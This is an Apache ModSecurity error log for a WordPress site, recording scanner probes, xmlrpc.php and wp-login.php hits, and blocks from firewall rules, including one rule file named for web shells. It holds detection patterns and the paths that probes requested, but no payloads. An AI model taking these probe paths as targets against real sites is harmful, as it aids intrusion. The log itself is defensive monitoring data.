[Fri Feb 06 13:06:44.347919 2026] [:error] [pid 3382:tid 3455] [client 51.68.235.235:59842] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20sa.aspx"] [unique_id "aYV25MIgU1HR0rhYrE-j6wAAAI8"]
[Fri Feb 06 13:06:46.227337 2026] [:error] [pid 3380:tid 3407] [client 51.68.235.235:54672] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20slot.aspx"] [unique_id "aYV25hFAlUvBGSBK2jenKwAAABc"]
[Fri Feb 06 13:06:49.829537 2026] [:error] [pid 3381:tid 3434] [client 51.68.235.235:54688] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20vip.aspx"] [unique_id "aYV26S81zqRg96ZREgjIEQAAAFU"]
[Fri Feb 06 13:06:51.870732 2026] [:error] [pid 3513:tid 3519] [client 51.68.235.235:54696] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aYV26zSw3-HAlzpqSxwwegAAAUQ"]
[Fri Feb 06 13:06:53.887054 2026] [:error] [pid 3380:tid 3395] [client 51.68.235.235:54708] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet.aspx"] [unique_id "aYV27RFAlUvBGSBK2jenPQAAAAs"]
[Fri Feb 06 13:06:55.893176 2026] [:error] [pid 3380:tid 3391] [client 51.68.235.235:49474] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20100.aspx"] [unique_id "aYV27xFAlUvBGSBK2jenPwAAAAc"]
[Fri Feb 06 13:06:57.903704 2026] [:error] [pid 3381:tid 3428] [client 51.68.235.235:49484] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "aYV28S81zqRg96ZREgjIGwAAAE8"]
[Fri Feb 06 13:07:35.776221 2026] [:error] [pid 3381:tid 3414] [client 51.68.235.235:49488] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yakuza%20slot.aspx"] [unique_id "aYV3Fy81zqRg96ZREgjIbwAAAEE"]
[Fri Feb 06 14:03:30.849501 2026] [:error] [pid 3381:tid 3419] [client 43.166.129.247:54002] [client 43.166.129.247] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aYWEMi81zqRg96ZREgjeJwAAAEY"]
[Fri Feb 06 15:38:27.777920 2026] [:error] [pid 3380:tid 3404] [client 209.42.18.5:43010] [client 209.42.18.5] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 209.42.18.5, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYWacxFAlUvBGSBK2jcJkgAAABQ"]
[Fri Feb 06 16:27:32.323032 2026] [:error] [pid 3477:tid 3488] [client 185.225.22.28:38324] [client 185.225.22.28] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.225.22.28, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYWl9LL0Hdh40C7HYgUmlwAAAMk"]
[Fri Feb 06 16:27:43.143559 2026] [:error] [pid 3380:tid 3384] [client 103.143.231.246:57716] [client 103.143.231.246] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.143.231.246, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYWl_xFAlUvBGSBK2jcrLwAAAAA"]
[Fri Feb 06 16:27:56.852869 2026] [:error] [pid 3381:tid 3433] [client 178.128.239.177:55306] [client 178.128.239.177] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.128.239.177, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYWmDC81zqRg96ZREggfTQAAAFQ"]
[Fri Feb 06 16:27:58.053214 2026] [:error] [pid 3513:tid 3536] [client 103.143.231.246:60608] [client 103.143.231.246] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.143.231.246, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYWmDjSw3-HAlzpqSxyWbQAAAVU"]
[Fri Feb 06 16:28:26.332176 2026] [:error] [pid 3382:tid 3460] [client 35.202.223.48:53202] [client 35.202.223.48] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.202.223.48, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYWmKsIgU1HR0rhYrE_-QAAAAJQ"]
[Fri Feb 06 16:28:46.903362 2026] [:error] [pid 3380:tid 3388] [client 162.0.235.223:60146] [client 162.0.235.223] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.0.235.223, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYWmPhFAlUvBGSBK2jcsWQAAAAQ"]
[Fri Feb 06 16:29:04.421616 2026] [:error] [pid 3380:tid 3401] [client 173.236.109.194:56927] [client 173.236.109.194] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.236.109.194, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYWmUBFAlUvBGSBK2jcsrQAAABE"]
[Fri Feb 06 16:29:16.183503 2026] [:error] [pid 3513:tid 3526] [client 104.198.51.16:47296] [client 104.198.51.16] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.198.51.16, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYWmXDSw3-HAlzpqSxyXegAAAUs"]
[Fri Feb 06 19:27:23.359491 2026] [:error] [pid 3382:tid 3463] [client 49.51.183.220:42442] [client 49.51.183.220] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aYXQG8IgU1HR0rhYrE81_QAAAJc"]
[Fri Feb 06 19:50:41.701692 2026] [:error] [pid 36928:tid 36934] [client 161.35.231.74:38368] [client 161.35.231.74] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 161.35.231.74, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYXVkZs7fyU8D36r-OplVAAAAcI"]
[Fri Feb 06 19:51:40.591938 2026] [:error] [pid 36857:tid 36874] [client 118.139.178.108:44116] [client 118.139.178.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 118.139.178.108, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aYXVzJVQwfj7Kp4Dd0Hl9AAAAY8"]
[Fri Feb 06 19:51:42.290622 2026] [:error] [pid 36857:tid 36873] [client 118.139.178.108:44116] [client 118.139.178.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 118.139.178.108, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aYXVzpVQwfj7Kp4Dd0Hl9QAAAY4"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 06 19:53:49.316510 2026] [:error] [pid 36857:tid 36873] [client 178.79.141.80:35722] [client 178.79.141.80] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.79.141.80, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYXWTZVQwfj7Kp4Dd0HmKAAAAY4"]
[Fri Feb 06 20:19:01.604924 2026] [:error] [pid 3380:tid 3388] [client 50.62.187.124:41502] [client 50.62.187.124] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 50.62.187.124, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aYXcNRFAlUvBGSBK2jdfyAAAAAQ"]
[Fri Feb 06 20:19:03.337295 2026] [:error] [pid 3380:tid 3397] [client 50.62.187.124:41502] [client 50.62.187.124] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 50.62.187.124, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aYXcNxFAlUvBGSBK2jdfyQAAAA0"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 06 20:22:41.796876 2026] [:error] [pid 37019:tid 37041] [client 194.233.87.151:35492] [client 194.233.87.151] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 194.233.87.151, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYXdEQkAjqd3bcgYBrteDgAAAhQ"]
[Fri Feb 06 20:44:59.888685 2026] [:error] [pid 37019:tid 37033] [client 173.236.109.194:60220] [client 173.236.109.194] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.236.109.194, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYXiSwkAjqd3bcgYBrtilgAAAgw"]
[Fri Feb 06 20:49:46.356048 2026] [:error] [pid 3513:tid 3527] [client 46.101.137.29:45192] [client 46.101.137.29] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.101.137.29, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYXjajSw3-HAlzpqSxzQGwAAAUw"]
[Fri Feb 06 20:50:36.033460 2026] [:error] [pid 3382:tid 3450] [client 46.101.137.29:55070] [client 46.101.137.29] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.101.137.29, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYXjnMIgU1HR0rhYrE9PcAAAAIo"]
[Fri Feb 06 21:14:54.532492 2026] [:error] [pid 3382:tid 3450] [client 89.46.110.118:22482] [client 89.46.110.118] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 89.46.110.118, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aYXpTsIgU1HR0rhYrE9XYgAAAIo"]
[Fri Feb 06 21:14:56.778941 2026] [:error] [pid 3382:tid 3447] [client 89.46.110.118:22482] [client 89.46.110.118] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 89.46.110.118, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aYXpUMIgU1HR0rhYrE9XZgAAAIc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 06 21:28:26.463506 2026] [:error] [pid 3381:tid 3420] [client 54.37.85.6:51476] [client 54.37.85.6] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.37.85.6, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYXsei81zqRg96ZREghwgwAAAEc"]
[Fri Feb 06 21:54:40.250387 2026] [:error] [pid 15821:tid 15844] [client 146.70.250.132:56848] [client 146.70.250.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aYXyoHARQa67J4c772kVtgAAARM"]
[Fri Feb 06 21:58:02.725310 2026] [:error] [pid 36928:tid 36936] [client 198.252.105.16:42556] [client 198.252.105.16] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 198.252.105.16, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYXzaps7fyU8D36r-Op4MAAAAcQ"]
[Fri Feb 06 22:51:53.044628 2026] [:error] [pid 3381:tid 3414] [client 82.223.203.218:51836] [client 82.223.203.218] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.223.203.218, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYYACS81zqRg96ZREgiBIAAAAEE"]
[Fri Feb 06 22:53:45.857777 2026] [:error] [pid 36928:tid 36942] [client 128.140.113.91:49438] [client 128.140.113.91] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 128.140.113.91, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aYYAeZs7fyU8D36r-OqFHAAAAco"]
[Fri Feb 06 22:53:47.659408 2026] [:error] [pid 36928:tid 36935] [client 128.140.113.91:49438] [client 128.140.113.91] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 128.140.113.91, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aYYAe5s7fyU8D36r-OqFHgAAAcM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 06 23:01:31.539820 2026] [:error] [pid 36857:tid 36865] [client 68.178.134.15:50844] [client 68.178.134.15] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 68.178.134.15, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aYYCS5VQwfj7Kp4Dd0H_SQAAAYY"]
[Fri Feb 06 23:01:33.753024 2026] [:error] [pid 36857:tid 36875] [client 68.178.134.15:50844] [client 68.178.134.15] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 68.178.134.15, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aYYCTZVQwfj7Kp4Dd0H_TQAAAZA"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 06 23:14:57.037733 2026] [:error] [pid 3381:tid 3423] [client 87.229.45.179:35136] [client 87.229.45.179] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 87.229.45.179, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYYFcS81zqRg96ZREgiFXgAAAEo"]
[Fri Feb 06 23:15:13.685499 2026] [:error] [pid 3381:tid 3435] [client 162.0.220.160:60794] [client 162.0.220.160] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.0.220.160, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aYYFgS81zqRg96ZREgiFZAAAAFY"]
[Fri Feb 06 23:15:15.291008 2026] [:error] [pid 3381:tid 3425] [client 162.0.220.160:60794] [client 162.0.220.160] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.0.220.160, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aYYFgy81zqRg96ZREgiFZQAAAEw"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 06 23:15:31.577903 2026] [:error] [pid 36857:tid 36866] [client 20.110.243.199:64926] [client 20.110.243.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file5.php"] [unique_id "aYYFk5VQwfj7Kp4Dd0EAwwAAAYc"]
[Fri Feb 06 23:15:34.660014 2026] [:error] [pid 3381:tid 3413] [client 20.110.243.199:63315] [client 20.110.243.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file5.php"] [unique_id "aYYFli81zqRg96ZREgiFeQAAAEA"]
[Fri Feb 06 23:15:36.999500 2026] [:error] [pid 3382:tid 3446] [client 20.110.243.199:63423] [client 20.110.243.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file5.php"] [unique_id "aYYFmMIgU1HR0rhYrE9wawAAAIY"]
[Fri Feb 06 23:15:38.686026 2026] [:error] [pid 36928:tid 36941] [client 20.110.243.199:60944] [client 20.110.243.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file5.php"] [unique_id "aYYFmps7fyU8D36r-OqKRwAAAck"]
[Fri Feb 06 23:15:43.784871 2026] [:error] [pid 3382:tid 3451] [client 20.110.243.199:63386] [client 20.110.243.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aYYFn8IgU1HR0rhYrE9wbwAAAIs"]
[Fri Feb 06 23:15:54.402162 2026] [:error] [pid 3381:tid 3429] [client 20.110.243.199:60943] [client 20.110.243.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aYYFqi81zqRg96ZREgiFhAAAAFA"]
[Fri Feb 06 23:15:56.995201 2026] [:error] [pid 3477:tid 3481] [client 20.110.243.199:64927] [client 20.110.243.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "aYYFrLL0Hdh40C7HYgWJvAAAAMI"]
[Fri Feb 06 23:19:39.306887 2026] [:error] [pid 37019:tid 37027] [client 95.111.228.44:51396] [client 95.111.228.44] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 95.111.228.44, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYYGiwkAjqd3bcgYBrt38gAAAgY"]
[Fri Feb 06 23:34:25.151804 2026] [:error] [pid 3381:tid 3426] [client 46.101.137.29:37698] [client 46.101.137.29] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.101.137.29, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYYKAS81zqRg96ZREgiI9wAAAE0"]
[Sat Feb 07 00:02:44.828182 2026] [:error] [pid 46432:tid 46444] [client 52.140.96.215:49950] [client 52.140.96.215] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 52.140.96.215, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aYYQpAbwJwu_od0kZjNDhAAAAko"]
[Sat Feb 07 00:02:48.610177 2026] [:error] [pid 46432:tid 46452] [client 52.140.96.215:49950] [client 52.140.96.215] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 52.140.96.215, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aYYQqAbwJwu_od0kZjNDhgAAAlI"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 07 00:04:28.396244 2026] [:error] [pid 3477:tid 3490] [client 43.229.86.17:36282] [client 43.229.86.17] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 43.229.86.17, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYYRDLL0Hdh40C7HYgWQZgAAAMs"]
[Sat Feb 07 00:15:09.918144 2026] [:error] [pid 15821:tid 15847] [client 82.223.203.218:54972] [client 82.223.203.218] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.223.203.218, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYYTjXARQa67J4c772knuwAAARY"]
[Sat Feb 07 00:21:37.850935 2026] [:error] [pid 3477:tid 3500] [client 116.103.108.158:38238] [client 116.103.108.158] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 116.103.108.158, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYYVEbL0Hdh40C7HYgWTbwAAANU"]
